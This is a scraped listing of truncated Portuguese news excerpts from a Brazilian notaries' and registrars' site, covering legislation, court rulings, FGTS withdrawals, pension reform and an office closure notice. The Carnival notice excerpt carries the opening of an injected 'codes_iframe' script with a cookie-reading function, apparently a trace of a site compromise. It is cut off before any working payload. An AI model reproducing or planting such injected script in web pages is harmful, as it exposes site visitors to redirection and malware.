emEm análise na Câmara dos Deputados, o Projeto de Lei 4978/16, do deputado Rômulo Gouveia (PSD-PB), determina que o uso do nome “cartório” deve ser restrito aos prestadores de serviço notariais e de registro./em !--more-- div id=conteudoNoticia “Percebendo a existência de um potencial para ganhos e vantagens econômicas, empresas têm se apropriado indevidamente da denominação […]
emEm virtude do feriado de Carnaval, a Confederação Nacional de Notários e Registradores (CNR) não terá expediente nos dias 27 (segunda-feira) e 28 (terça-feira) de fevereiro./em !--more-- Retornaremos as atividades na quarta-feira de Cinzas, 1º de março, o expediente será das 13h às 18h. Fonte: Assessoria de Imprensa da CNR !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new […]
p style=text-align:justify;em“Não se aplica a aposentadoria compulsória prevista no artigo 40, parágrafo 1º, inciso II, da Constituição Federal aos titulares de serventias judiciais não estatizadas, desde que não sejam ocupantes de cargo público efetivo e não recebam remuneração proveniente dos cofres públicos”. Essa foi a tese aprovada, por unanimidade, na sessão plenária desta quarta-feira (15), […]
emAté R$ 43 bilhões poderão ser sacados entre março e julho de 49,6 milhões de contas inativas./em !--more-- p style=text-align:justify; “A medida é boa para o Brasil, é boa para o trabalhador e boa para a economia, porque serão R$ 43 bilhões que estarão à disposição. Aqueles trabalhadores que têm as suas contas inativas poderão […]
A Terceira Turma do Superior Tribunal de Justiça (STJ) rejeitou o recurso da viúva pensionista de um procurador de Justiça que buscava receber parcelas remuneratórias devidas ao procurador que só foram reconhecidas após sua morte. !--more-- A Terceira Turma do Superior Tribunal de Justiça (STJ) rejeitou o recurso da viúva pensionista de um procurador de […]
p style=text-align: justify; emNas minhas muitas viagens a cada recanto do nosso Brasil, ainda como Presidente da ANOREG-BR e da FEBRANOR, levando a todos o nosso projeto de criação da organização sindical nacional própria dos notários e registradores, por diversas vezes me questionaram: “Para que sindicato?”, “Porquê pagar a contribuição sindical?”, “Para que serve uma […]
emA Câmara dos Deputados pode instalar, nesta semana, a comissão especial vai debater e votar a reforma da Previdência (PEC 287/16). O presidente do colegiado e o relator dos trabalhos já estão indicados, que serão, respectivamente, os deputados Carlos Marun (PMDB-MS) e Arthur Maia (PPS-BA)./em !--more-- Após a instalação do colegiado, que será feito depois […]
emspan style=color: #1a2a39; font-size: large;Período para declarar vai até 17 de março./span/em p style=list-style: none; vertical-align: baseline; margin: 0px 0px 10px; padding: 0px; line-height: 1.75em; font-size: 14px; color: #000000; font-family: open_sansregular, 'Open Sans', Arial, Helvetica, sans-serif; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: […]
